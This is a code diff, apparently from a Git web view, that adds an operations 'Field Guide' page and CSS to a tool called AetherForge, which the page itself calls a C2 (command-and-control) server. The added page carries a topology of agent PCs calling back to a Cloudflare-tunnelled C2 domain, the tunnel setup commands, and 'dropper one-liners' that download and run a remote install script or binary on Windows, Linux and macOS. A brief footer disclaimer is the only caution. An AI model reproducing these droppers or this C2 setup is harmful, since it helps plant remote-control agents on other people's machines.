' └────────────────────────────────────────────────────────────────────┘ ',
|
||||
' │',
|
||||
' https://killa.thetempleofdoom.com (permanent) │',
|
||||
' │',
|
||||
' ┌───────────────┬───────────────┐ │',
|
||||
' ▼ ▼ ▼ │',
|
||||
' [Agent PC] [Agent PC] [Agent PC] ◀──-┘',
|
||||
' any network any network any network',
|
||||
' baked C2 URL baked C2 URL baked C2 URL',
|
||||
];
|
||||
return (
|
||||
<div className="guide-topology">
|
||||
<pre className="guide-topology-pre">{lines.join('\n')}</pre>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default function GuidePage() {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
@@ -20,11 +95,12 @@ export default function GuidePage() {
|
||||
<p className="deck-eyebrow font-tech">OPERATIONS MANUAL</p>
|
||||
<h1>Field Guide</h1>
|
||||
<p className="page-subtitle">
|
||||
Visual cheat sheet — what each page does, how the pipeline works, and what to fix when things break.
|
||||
Everything you need — pipeline, network topology, one-liner commands, Fusion, AI Autonomy, and fixes for when things break.
|
||||
</p>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
{/* ── Live pipeline ── */}
|
||||
<NeonCard accent="cyan" className="section" hud>
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Live pipeline
|
||||
@@ -33,73 +109,103 @@ export default function GuidePage() {
|
||||
<PipelineFlow />
|
||||
</NeonCard>
|
||||
|
||||
{/* ── Network topology ── */}
|
||||
<NeonCard accent="amber" className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Network topology
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||||
AetherForge binds to <code className="mono-sm">0.0.0.0:PORT</code> — it does not need to know about Cloudflare.
|
||||
A separate machine runs <code className="mono-sm">cloudflared</code> and tunnels external traffic to the C2's LAN IP.
|
||||
Agents connect to the Cloudflare tunnel URL baked at Forge time.
|
||||
</p>
|
||||
<TopologyDiagram />
|
||||
<div className="guide-step-card" style={{ marginTop: '1rem' }}>
|
||||
<div className="guide-step-num">💡</div>
|
||||
<div className="guide-step-body">
|
||||
<h4>How it works on any machine</h4>
|
||||
<ul className="guide-tips">
|
||||
<li>Plug in USB → run <code className="mono-sm">LAUNCH.bat</code> — cloudflared installs + tunnel starts automatically</li>
|
||||
<li>AetherForge binds <code className="mono-sm">0.0.0.0:8989</code> — cloudflared connects to <code className="mono-sm">127.0.0.1:8989</code></li>
|
||||
<li>Public URL never changes: <code className="mono-sm">https://killa.thetempleofdoom.com</code></li>
|
||||
<li>Forge Control Endpoint: <code className="mono-sm">https://killa.thetempleofdoom.com</code></li>
|
||||
<li>Backup C2 in Forge: <code className="mono-sm">http://192.168.x.x:8989</code> (LAN fallback)</li>
|
||||
<li>One-time setup: see <code className="mono-sm">cloudflare/SETUP.txt</code> on the USB</li>
|
||||
</ul>
|
||||
<CodeBlock code={`# One-time setup (any machine, done once):
|
||||
cloudflared tunnel login
|
||||
cloudflared tunnel create aetherforge-c2
|
||||
cloudflared tunnel route dns aetherforge-c2 killa.thetempleofdoom.com
|
||||
copy %USERPROFILE%\\.cloudflared\\<tunnel-id>.json cloudflare\\credentials.json
|
||||
|
||||
# After that — just run:
|
||||
LAUNCH.bat`} />
|
||||
</div>
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
{/* ── Forge vs Calibrate ── */}
|
||||
<section className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Forge vs Calibrate
|
||||
<span className="section-ornament">◆</span> Forge vs Calibrate — what goes where
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<ForgeCalibrateCompare />
|
||||
</section>
|
||||
|
||||
{/* ── Dropper one-liners quick-ref ── */}
|
||||
<NeonCard accent="green" className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Dropper one-liners
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||||
Pin a build in <Link to="/builds" className="guide-link">Build Manager</Link> first — then send one of these to any machine. Terminal closes automatically after the agent launches. Hostname is permanent via named Cloudflare tunnel.
|
||||
</p>
|
||||
<div className="guide-dropper-grid">
|
||||
<div className="guide-dropper-item">
|
||||
<span className="guide-dropper-os">Windows</span>
|
||||
<CodeBlock code={`iex (irm 'https://killa.thetempleofdoom.com/install.ps1')`} />
|
||||
</div>
|
||||
<div className="guide-dropper-item">
|
||||
<span className="guide-dropper-os">Linux / macOS</span>
|
||||
<CodeBlock code={`curl -sL https://killa.thetempleofdoom.com/install.sh | bash`} />
|
||||
</div>
|
||||
<div className="guide-dropper-item">
|
||||
<span className="guide-dropper-os">Direct binary</span>
|
||||
<CodeBlock code={`https://killa.thetempleofdoom.com/get?os=windows
|
||||
https://killa.thetempleofdoom.com/get?os=linux
|
||||
https://killa.thetempleofdoom.com/get`} />
|
||||
</div>
|
||||
</div>
|
||||
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
|
||||
Dropper endpoints are unauthenticated — the URL is the gate. Dashboard requires login. Tunnel auto-starts with LAUNCH.bat on any machine.
|
||||
</p>
|
||||
</NeonCard>
|
||||
|
||||
{/* ── Detailed section steps ── */}
|
||||
{CHEAT_SECTIONS.filter((s) => s.steps && s.id !== 'pipeline').map((section) => (
|
||||
<section key={section.id} className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> {section.title}
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint">{section.description}</p>
|
||||
{section.steps?.map((step) => (
|
||||
<div key={step.id} className="guide-step-card">
|
||||
<div className="guide-step-num">{step.icon}</div>
|
||||
<div className="guide-step-body">
|
||||
<h4>{step.title} — {step.subtitle}</h4>
|
||||
<p>{step.body}</p>
|
||||
{step.tips && (
|
||||
<ul className="guide-tips">
|
||||
{step.tips.map((t) => (
|
||||
<li key={t}>{t}</li>
|
||||
))}
|
||||
</ul>
|
||||
)}
|
||||
</div>
|
||||
{step.route && (
|
||||
<Link to={step.route} className="btn btn-outline btn-sm">
|
||||
{step.routeLabel || 'Open'}
|
||||
</Link>
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>{section.description}</p>
|
||||
{section.steps?.map((step) => <StepCard key={step.id} step={step} />)}
|
||||
</section>
|
||||
))}
|
||||
|
||||
{/* ── Step-by-step pipeline detail ── */}
|
||||
<section className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Step-by-step (detailed)
|
||||
<span className="section-ornament">◆</span> Step-by-step (pipeline detail)
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
{PIPELINE_STEPS.map((step) => (
|
||||
<div key={step.id} className="guide-step-card">
|
||||
<div className="guide-step-num">{step.icon}</div>
|
||||
<div className="guide-step-body">
|
||||
<h4>{step.title} — {step.subtitle}</h4>
|
||||
<p>{step.body}</p>
|
||||
{step.tips && (
|
||||
<ul className="guide-tips">
|
||||
{step.tips.map((t) => (
|
||||
<li key={t}>{t}</li>
|
||||
))}
|
||||
</ul>
|
||||
)}
|
||||
</div>
|
||||
{step.route && (
|
||||
<Link to={step.route} className="btn btn-primary btn-sm">
|
||||
{step.routeLabel}
|
||||
</Link>
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
{PIPELINE_STEPS.map((step) => <StepCard key={step.id} step={step} />)}
|
||||
</section>
|
||||
|
||||
{/* ── Troubleshooting ── */}
|
||||
<section className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Troubleshooting
|
||||
@@ -115,16 +221,18 @@ export default function GuidePage() {
|
||||
</NeonCard>
|
||||
</section>
|
||||
|
||||
{/* ── Roadmap ── */}
|
||||
<section className="section">
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Product roadmap
|
||||
<span className="section-ornament">◆</span> Feature status
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
<p className="form-hint" style={{ marginBottom: '1rem' }}>
|
||||
Shipped capabilities (high/medium) and remaining low-priority ideas.
|
||||
Shipped (high), in progress (medium), and planned (low) capabilities.
|
||||
</p>
|
||||
<RoadmapGrid />
|
||||
</section>
|
||||
|
||||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||
</footer>
|
||||
|
||||
@@ -966,6 +966,11 @@
|
||||
text-shadow: 0 0 20px rgba(178, 75, 243, 0.5);
|
||||
}
|
||||
|
||||
.neon-glow-gold {
|
||||
color: var(--brass-light) !important;
|
||||
text-shadow: 0 0 20px rgba(232, 197, 71, 0.55);
|
||||
}
|
||||
|
||||
.chart-row-full {
|
||||
margin-bottom: 2rem;
|
||||
}
|
||||
@@ -1332,3 +1337,168 @@ button.deliverable-card .form-hint {
|
||||
align-items: center;
|
||||
margin-top: 0.75rem;
|
||||
}
|
||||
|
||||
/* ── Forge progress bar ───────────────────────────────────────── */
|
||||
.forge-progress-wrap {
|
||||
margin-top: 1rem;
|
||||
margin-bottom: 0.5rem;
|
||||
padding: 0.75rem 1rem;
|
||||
border: 1px solid rgba(255, 140, 0, 0.35);
|
||||
border-radius: 6px;
|
||||
background: rgba(255, 100, 0, 0.06);
|
||||
animation: forge-progress-fadein 0.25s ease;
|
||||
}
|
||||
|
||||
@keyframes forge-progress-fadein {
|
||||
from { opacity: 0; transform: translateY(4px); }
|
||||
to { opacity: 1; transform: translateY(0); }
|
||||
}
|
||||
|
||||
.forge-progress-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.5rem;
|
||||
margin-bottom: 0.55rem;
|
||||
}
|
||||
|
||||
.forge-progress-icon {
|
||||
font-size: 0.95rem;
|
||||
animation: forge-spin 1.4s linear infinite;
|
||||
display: inline-block;
|
||||
color: #ff8c00;
|
||||
}
|
||||
|
||||
@keyframes forge-spin {
|
||||
from { transform: rotate(0deg); }
|
||||
to { transform: rotate(360deg); }
|
||||
}
|
||||
|
||||
.forge-progress-stage {
|
||||
flex: 1;
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.8rem;
|
||||
color: #ffb347;
|
||||
letter-spacing: 0.04em;
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.forge-progress-pct {
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.8rem;
|
||||
font-weight: 700;
|
||||
color: #ffd700;
|
||||
min-width: 3rem;
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
.forge-progress-track {
|
||||
position: relative;
|
||||
height: 6px;
|
||||
background: rgba(255, 255, 255, 0.08);
|
||||
border-radius: 4px;
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
.forge-progress-fill {
|
||||
height: 100%;
|
||||
border-radius: 4px;
|
||||
background: linear-gradient(90deg, #ff6a00, #ffb300, #ffd700);
|
||||
box-shadow: 0 0 8px rgba(255, 160, 0, 0.6);
|
||||
transition: width 0.35s cubic-bezier(0.4, 0, 0.2, 1);
|
||||
position: relative;
|
||||
z-index: 1;
|
||||
}
|
||||
|
||||
.forge-progress-glow {
|
||||
position: absolute;
|
||||
top: 50%;
|
||||
transform: translate(-50%, -50%);
|
||||
width: 14px;
|
||||
height: 14px;
|
||||
border-radius: 50%;
|
||||
background: rgba(255, 200, 50, 0.5);
|
||||
box-shadow: 0 0 10px 4px rgba(255, 160, 0, 0.6);
|
||||
pointer-events: none;
|
||||
z-index: 2;
|
||||
animation: forge-glow-pulse 0.8s ease-in-out infinite alternate;
|
||||
}
|
||||
|
||||
@keyframes forge-glow-pulse {
|
||||
from { opacity: 0.6; transform: translate(-50%, -50%) scale(0.85); }
|
||||
to { opacity: 1; transform: translate(-50%, -50%) scale(1.15); }
|
||||
}
|
||||
|
||||
/* ── Forge last-build compact strip ─────────────────────────────────────── */
|
||||
.forge-last-build-strip {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.6rem;
|
||||
margin-top: 0.75rem;
|
||||
padding: 0.6rem 0.85rem;
|
||||
background: rgba(0, 255, 120, 0.06);
|
||||
border: 1px solid rgba(0, 255, 120, 0.3);
|
||||
border-radius: 6px;
|
||||
animation: forge-strip-appear 0.25s ease;
|
||||
}
|
||||
|
||||
@keyframes forge-strip-appear {
|
||||
from { opacity: 0; transform: translateY(-4px); }
|
||||
to { opacity: 1; transform: translateY(0); }
|
||||
}
|
||||
|
||||
.forge-last-build-info {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.55rem;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.forge-last-build-check {
|
||||
font-size: 1.1rem;
|
||||
color: #00ff88;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.forge-last-build-name {
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.82rem;
|
||||
color: #c8ffd4;
|
||||
font-weight: 600;
|
||||
margin-right: 0.3rem;
|
||||
}
|
||||
|
||||
.forge-last-build-size {
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.72rem;
|
||||
color: #888;
|
||||
margin-right: 0.35rem;
|
||||
}
|
||||
|
||||
.forge-last-build-tag {
|
||||
display: inline-block;
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.6rem;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.08em;
|
||||
padding: 0.08rem 0.38rem;
|
||||
border-radius: 3px;
|
||||
background: rgba(255, 140, 0, 0.15);
|
||||
border: 1px solid rgba(255, 140, 0, 0.4);
|
||||
color: #ffb04c;
|
||||
margin-right: 0.2rem;
|
||||
}
|
||||
|
||||
.forge-last-build-actions {
|
||||
display: flex;
|
||||
gap: 0.45rem;
|
||||
align-items: center;
|
||||
flex-shrink: 0;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.btn-sm {
|
||||
font-size: 0.78rem;
|
||||
padding: 0.28rem 0.7rem;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user